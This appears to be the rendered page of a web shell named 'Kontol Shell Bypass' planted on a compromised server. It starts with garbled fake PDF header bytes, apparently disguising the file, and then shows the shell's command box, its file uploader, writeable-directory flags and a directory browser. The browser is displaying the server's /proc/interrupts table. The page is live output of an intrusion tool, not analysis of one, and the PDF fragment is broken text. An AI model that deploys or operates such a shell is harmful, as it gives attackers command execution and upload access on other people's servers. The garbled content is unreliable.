%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         50          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   8:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  10:          0          0          0      30718          0          0          0          0          0          0          0          0  IR-IO-APIC   10-edge      ipmi_si
  14:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   14-fasteoi   INT34C6:00
  16:          0          0          0          0          4          0          0          0          0          0          0          0  IR-IO-APIC   16-fasteoi   i801_smbus
 120:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
 121:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-0000:00:06.0    0-edge      PCIe PME
 122:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-0000:00:1b.0    0-edge      PCIe PME
 123:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-0000:00:1b.6    0-edge      PCIe PME
 124:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-0000:00:1c.0    0-edge      PCIe PME
 125:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-0000:00:1c.1    0-edge      PCIe PME
 126:          0          0          0          0          0          0          0          0          0        153          0          0  IR-PCI-MSI-0000:00:14.0    0-edge      xhci_hcd
 134:          0          0          0          0          0          0    1341453          0          0          0          0          0  IR-PCI-MSI-0000:00:17.0    0-edge      ahci[0000:00:17.0]
 135:          0          0          0          0          0          0          0      11546          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    0-edge      megasas0-msix0
 136:          0          0          0          0          0          0          0          0      11024          0          0          0  IR-PCI-MSIX-0000:01:00.0    1-edge      megasas0-msix1
 137:          0          0          0          0          0          0          0          0          0      11308          0          0  IR-PCI-MSIX-0000:01:00.0    2-edge      megasas0-msix2
 138:          0          0          0          0          0          0          0          0          0          0      10968          0  IR-PCI-MSIX-0000:01:00.0    3-edge      megasas0-msix3
 139:          0          0          0          0          0          0          0          0          0          0          0      11126  IR-PCI-MSIX-0000:01:00.0    4-edge      megasas0-msix4
 140:      11125          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    5-edge      megasas0-msix5
 141:          0      11272          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    6-edge      megasas0-msix6
 142:          0          0      11307          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    7-edge      megasas0-msix7
 143:     149191          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    8-edge      megasas0-msix8
 144:          0     188933          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0    9-edge      megasas0-msix9
 145:          0          0     239205          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   10-edge      megasas0-msix10
 146:          0          0          0     400591          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   11-edge      megasas0-msix11
 147:          0          0          0          0     363098          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   12-edge      megasas0-msix12
 148:          0          0          0          0          0     473472          0          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   13-edge      megasas0-msix13
 149:          0          0          0          0          0          0     359591          0          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   14-edge      megasas0-msix14
 150:          0          0          0          0          0          0          0     275360          0          0          0          0  IR-PCI-MSIX-0000:01:00.0   15-edge      megasas0-msix15
 151:          0          0          0          0          0          0          0          0     236698          0          0          0  IR-PCI-MSIX-0000:01:00.0   16-edge      megasas0-msix16
 152:          0          0          0          0          0          0          0          0          0     213970          0          0  IR-PCI-MSIX-0000:01:00.0   17-edge      megasas0-msix17
 153:          0          0          0          0          0          0          0          0          0          0     168014          0  IR-PCI-MSIX-0000:01:00.0   18-edge      megasas0-msix18
 154:          0          0          0          0          0          0          0          0          0          0          0     159135  IR-PCI-MSIX-0000:01:00.0   19-edge      megasas0-msix19
 155:          0          0          0          0          0    2884258          0          0          0          0          0          0  IR-PCI-MSIX-0000:06:00.0    0-edge      eno8303-tx-0
 156:          0          0          0          0          0          0  138548216          0          0          0          0          0  IR-PCI-MSIX-0000:06:00.0    1-edge      eno8303-rx-1
 157:          0          0          0          0          0          0          0    1201857          0          0          0          0  IR-PCI-MSIX-0000:06:00.0    2-edge      eno8303-rx-2
 158:          0          0          0          0          0          0          0          0    1293678          0          0          0  IR-PCI-MSIX-0000:06:00.0    3-edge      eno8303-rx-3
 159:          0          0          0          0          0          0          0          0          0    3357755          0          0  IR-PCI-MSIX-0000:06:00.1    0-edge      eno8403-tx-0
 160:          0          0          0          0          0          0          0          0          0          0    2630714          0  IR-PCI-MSIX-0000:06:00.1    1-edge      eno8403-rx-1
 161:          0          0          0          0          0          0          0          0          0          0          0    1306638  IR-PCI-MSIX-0000:06:00.1    2-edge      eno8403-rx-2
 162:    1388214          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSIX-0000:06:00.1    3-edge      eno8403-rx-3
 NMI:       2699       2671       2673       2679       2668       2687        383         85        107         83         80         75   Non-maskable interrupts
 LOC:   41134212   46724212   44978216   46256572   43544911   50258178   29747600   20844543   17254285   16604581   15805340   14359043   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:       2699       2671       2673       2679       2668       2687        383         85        107         83         80         75   Performance monitoring interrupts
 IWI:          2          5        137          1          3          0      92579      43619      45792          4          1          1   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:      18628      15300      17206      11890      13331      12829      12540      11274      13602      11780      12591      11345   Rescheduling interrupts
 CAL:     238641     117154      84406     127148      95830     136110     236584      82949     101576      93183      79944      70083   Function call interrupts
 TLB:      11322       9259       8527       7678       7982       8968       3757       4723       5672       7075       6338       4989   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:       8337       8338       8338       8338       8338       8338       8338       8338       8338       8338       8338       8338   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Kontol Shell Bypass